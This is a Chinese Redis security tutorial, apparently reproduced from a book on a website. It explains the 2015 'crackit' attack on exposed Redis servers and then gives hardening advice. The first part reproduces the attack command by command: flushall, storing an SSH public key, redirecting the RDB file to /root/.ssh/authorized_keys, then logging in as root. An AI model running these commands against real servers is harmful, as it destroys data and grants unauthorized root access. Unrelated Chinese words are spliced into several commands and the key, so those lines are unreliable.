Redis的安全问题
2015年11⽉，全球数万个Redis节点遭受到了攻击，所有数据都被清除了，只有⼀个叫 crackit 的键存在，这个键的值很像⼀个公钥，如下所⽰。
127.0.0.1:6379> get crackit
"\n\n\nssh-rsa AAAAB3NzaClyc2EAAAABIwAAAQEAsGWAoHYwBcnAkPaGZ565wPQOAp3K7zrf2v9p
HPSqW+n8WqsbS+xNpvvcgeNT/fYYbnkUitllRUiMCzs5FUSIlLRthwt4yvpMMbNnEX6J/0W/0nlq
PgzrzYflP/cnYzEegKlcXHJ2AlRkukNPhMr+EkZVyxoJNLY+MB2kxVZ838z4U0ZamlPEgzy+zA+oF
0JLTU5fj51fP0XL2JrQOGLb4nID73MvnROT4LGiyUNMcLt+/Tvrv/DtWbo3sduL6q/2Dj3VD0xGD
隔膜胶水HkTNAzdj+jOAlJglSH53Va34KqIAh2nOIc+3y71eXV+WouCwkYrDiqqxaGZ7KKmPUjeHTLUEhT5Q藤蔓根茎
== root@zw_xx_192\n\n\n\n"
数据丢失对于很多Redis的开发者来说是致命的，经过相关机构的调查发现，被攻击的Redis有如下特点：
□ Redis所在的机器有外⽹IP。
□ Redis以默认端⼝ 6379为启动端⼝，并且是对外⽹开放的。
□ Redis是以root⽤户启动的。
□ Redis 的 bind 设置为0.0.0.0或者""。
攻击者充分利⽤Redis的dir和dbfilename两个配置可以使⽤config set动态设置以及 RDB持久化的特性，将⾃⼰的公钥写⼊到⽬标机器的/root/.ssh/authotrized_keys⽂件中，从⽽实现了对⽬标机器的攻陷。攻击过程如图12-2所⽰。 机器A是攻击者的机器（内⽹IP:192)，机器B是被攻击者机器（外⽹IP:182)，上⾯部署着⼀个满⾜上述五个特性的Redis, 下⾯我们来模拟整个攻击过程。
1) ⾸先确认当前（攻击前）机器A 不能通过SSH访问机器B，因为没有权限:
#ssh root@182
root@182's password:
2) 由于机器B 的外⽹对外开通了Redis的6379端⼝，所以可以直接连接到Redis上执⾏flushall操作，注意此时破坏性就已经很⼤了，如
下所⽰:
# redis-cli -h 182 -p 6379 ping
PONG
# redis-cli -h 182 -p 6379 flushall
OK
3) 在机器A ⽣成公钥，并将公钥保存到⼀个⽂件my.pub中:
# cd /root
# ssh-keygen -t rsa
保健杯
# (echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > my.pub
# cat my.pub
ssh-rsa AAAAB3NzaClyc2EAAAABIwAAAQEAsGWAoHYwBcnAkPaGZ565wPQ0Ap3K7zrf2v9pHPSqW+n
8WqsbS+xNpvvcgeNT/fYYbnkUitllRUiMCzs5FUSIlLRthwt4yvpMMbNnEX6J/OW/OnlqPgzrzY
flP/cnYzEegKlcXHJ2AlRkukNPhMr+EkZVyxoJNLY+MB2kxVZ838z4U0ZamlPEgzy+zA+oF0JLTU
5fj51fPOXL2JrQOGLb4nID73MvnROT4LGiyUNMcLt+/Tvrv/DtWbo3sduL6q/2Dj 3VD0xGDllkTNAzdj
+jOAlJglSH53Va34KqIAh2nOIc+3y71eXV+WouCwkYrDiqqxaGZ7KKmPUjeHTLUEhT5Q== root@zw_xx_192
4) 将键crackit的值设置为公钥。
cat my.pub | redis-cli -h 182 -p 6379 -x set crackit
OK
指路器redis-cli -h 182 -p 6379 get crackit
"\n\n\nssh-rsa AAAAB3NzaClyc2EAAAABIwAAAQEAsGWAoHYwBcnAkPaGZ565wPQ0Ap3K7zrf2v9pHP
SqW+n8WqsbS+xNpvvcgeNT/fYYbnkUitllRUiMCzs5FUSIlLRthwt4yvpMMbNnEX6J/0W/0nlqPgz
rzYflP/cnYzEegKlcXHJ2AlRkukNPhMr+EkZVyxoJNLY+MB2kxVZ838z4U0ZamlPEgzy+zA+oF0J
LTU5fj51fP0XL2JrQOGLb4nID73MvnROT4LGiyUNMcLt+/Tvrv/DtWbo3sduL6q/2Dj3VD0xGDll
kTNAzdj+jOAlJglSH53Va34KqIAh2nOIc+3y71eXV+WouCwkYrDiqqxaGZ7KKmPUjeHTLUEhT5Q
== root@zw_94_190\n\n\n\n”
5) 将Redis的dir设置为/root/.ssh ⽬录，dbfilename 设置为 authorized_keys，执⾏save命令⽣成RDB⽂件，如下所⽰: 182:6379> config set dir /root/.ssh
OK
182:6379> config set dbfilename authorized_keys
OK
酸洗缓蚀剂182:6379> save
OK
此时机器B的 /root/.ssh/authorized_keys包含了攻击者的公钥，之后攻击者就可以“为所欲为”了。
6) 此时机器 A 再通过SSH 协议访问机器 B，发现可以顺利登录:
[@zw_94_190 ~]# ssh root@182
Last login: Mon Sep 19 08:42:55 2016 from 192
登录后可以观察/root/.ssh/authorized_keys, 可以发现它就是RDB⽂件。
谁也不想⾃⼰的Redis以及机器就这样被攻击吧？本节我们来将介绍如何让Redis⾜够安全。
Redis的设计⽬标是⼀个在内⽹运⾏的轻量级⾼性能键值服务，因为是在内⽹运⾏，所以对于安全⽅
⾯没有做太多的⼯作，Redis只提供了简单的密码机制，并且没有做⽤户权限的相关划分。那么，在⽇常对于Redis的开发和运维中要注意哪些⽅⾯才能让Redis服务不仅能提供髙效稳定的服务，还能保证在⼀个⾜够安全的⽹络环境下运⾏呢？下⾯将从7个⽅⾯进⾏介绍。
2.Redis 密码机制
1.简单的密码机制
Redis提供了requirepass配置为Redis提供密码功能，如果添加这个配置，客户端就不能通过redis-cli -h {ip} -p {port}来执⾏命令。例如下⾯启动⼀个密码为hello_redis_devops的Redis:
redis-server --requirepass hello_redis_devops
此时通过redis-cli执⾏命令会收到没有权限的提⽰:
# redis-cli
127.0.0.1:6379 > ping
(error) NOAUTH Authentication required.
智能操作票
Redis提供了两种⽅式访问配置了密码的Redis:
⼝ redis-cli -a 参数。使⽤redis -cli连接Redis时，添加-a加密码的参数，如果密码正确就可以正常访问Redis了，具体操作如下: # redis-cli -h 127.0.0.1 -p 6379 -a hello_redis_devops
127.0.0.1:6379> ping
PONG
□ auth命令。通过red is-cli连接后，执⾏auth加密码命令，如果密码正确就可以正常访问访问Redis了，具体操作如下:
# redis-cli
127.0.0.1:6379> auth hello_redis_devops
OK
127.0.0.1:6379 > ping
PONG
2. 运维建议
这种密码机制能在⼀定程度上保护Redis的安全，但是在使⽤requirepass时候要注意⼀下⼏点:
□密码要⾜够复杂（64个字节以上)，因为Redis的性能很⾼，如果密码⽐较简单，完全是可以在⼀段时间内通过暴⼒破解来破译密码。
□如果是主从结构的Redis，不要忘记在从节点的配置中加⼊masterauth (master的密码）配置，否则会造成主从节点同步失效。
□ auth是通过明⽂进⾏传输的，所以也不是100%可靠，如果被攻击者劫持也相当危险。
3.伪装危险命令
1.引⼊rename-command
Redis中包含了很多“危险”的命令，⼀旦错误使⽤或者误操作，后果不堪设想，例如如下命令：
□ keys: 如果键值较多，存在阻塞Redis的可能性。
□ flushall/flushdb: 数据全部被清除。
□ save: 如果键值较多，存在阻塞Redis的可能性。
□ debug: 例如 debug reload会重启 Redis。
□ config: config应该交给管理员使⽤。
□ shutdown: 停⽌ Redis。
理论上这些命令不应该给普通开发⼈员使⽤，那有没有什么好的⽅法能够防⽌这些危险的命令被随意执⾏呢？ Redis提供了 rename-command配置解决这个问题。
具体格式:
rename-command flushall jjlikfjalijl3i4jl3jql34j
这样，原来的flushall就⽆法执⾏，要执⾏更改之后的名称。
2.没有免费的午餐
rename-command虽然对Redis的安全有⼀定帮助，但是天下并没有免费的午餐。使⽤了 rename-command时可能会带来如下⿇烦:□管理员要对⾃⼰的客户端进⾏修改，例如jedis.flushall()操作内部使
⽤的是flushall命令，如果⽤rename-command后需要修改为新的命令，有⼀定的开发和维护成本。
□ rename-command配置不⽀持config set，所以在启动前⼀定要确定哪些命令需要使⽤rename-command。
□如果AOF和 RDB⽂件包含了 rename-command之前的命令，Redis将⽆法启动，因为此时它识别不了 rename-command之前的命令。
□ Redis源码中有⼀些命令是写死的，rename-command可能造成Redis⽆法正常⼯作。例如 Sentinel节点在修改配置时直接使⽤了config命令，如果对config使⽤rename-command, 会造成 Redis Sentinel ⽆法正常⼯作。
□如果涉及主从关系，⼀定要保持主从节点配置的⼀致性，否则存在主从数据不⼀致的可能性。
4.防⽕墙
可以使⽤防⽕墙限制输⼊和输出的IP或者IP范围、端⼝或者端⼝范围，在⽐较成熟的公司都会对有外⽹ IP 的服务器做⼀些端⼝的限制，例如只允许80端⼝对外开放。因为⼀般来说，开放外⽹ IP 的服务器中 Web 服务器⽐较多，但通常存储服务器的端⼝⽆需对外开放 ，防⽕墙是⼀个限制外⽹访问 Redis 的必杀技。
5.bind
1.对于bind的错误认识
很多开发者在⼀开始看到 bind 的这个配置时都是这么认为的：指定Redis只接收来⾃于某个⽹段 IP 的客户端请求。
但事实上 bind 指定的是Redis和哪个⽹卡进⾏绑定，和客户端是什么⽹段没有关系。例如使⽤ ifconfig命令获取当前⽹卡信息。⼀般会出现eth0，eth1和lo等。
假设包含了三个ip地址:
□内⽹地址：192
□外⽹地址：123
□回环地址：127.0.0.1
如果当前Redis配置了bind 192，那么Redis访问只能通过192这块⽹卡进⼊，通过redis-cli -h 123和本机redis -cli -h 127.0.0.1 -p 6379都⽆法连接到Redis。会收到如下操作提⽰:
# redis-cli -h 123 -p 6379
Could not connect to Redis at 123:6379: Connection refused
只能通过10.l0.XX.192作为redis-cli的参数:
# redis-cli -h 192
192:6379 > ping
PONG
bind参数可以设置多个，例如下⾯的配置表⽰当前Redis只接受来⾃192和127.0.0.1的⽹络流量: bind 192 127.0.0.1
Redis3.0中bind 默认值为””，也就是不限制⽹卡的访问，但是在Redis3.2中必须显⽰的配置bind 0.0.0.0才可以达到这种效果。
2.建议
经过上⾯的实验以及对于 bind 的认识，可以得出如下结论:
□如果机器有外⽹IP，但部署的Redis是给内部使⽤的，建议去掉外⽹⽹卡或者使⽤bind 配置限制流量从外⽹进⼊。
□如果客户端和Redis部署在⼀台服务器上，可以使⽤回环地址（127.0.0.1 )。bind 配置不⽀持config set，所以尽可能在第⼀次启动前配置好。
如果当前Redis没有配置密码，没有配置bind, 那么只允许来⾃本机的访问，也就是相当于配置了 bind 127.0.0.1。
6.定期备份数据
7.不使⽤默认端⼝
8.总结
Redis安全建议：
根据具体⽹络环境决定是否设置Redis密码。
rename-command可以伪装命令，但是要注意成本。
合理的防⽕墙是防⽌攻击的利器。
bind可以将Redis的访问绑定到指定⽹卡上。
定期备份数据应该作为习惯性操作。
可以适当错开Redis默认端⼝启动。
使⽤⾮root⽤户启动Redis。
豫公网安备41160202000603
站长QQ:729038198
关于我们
投诉建议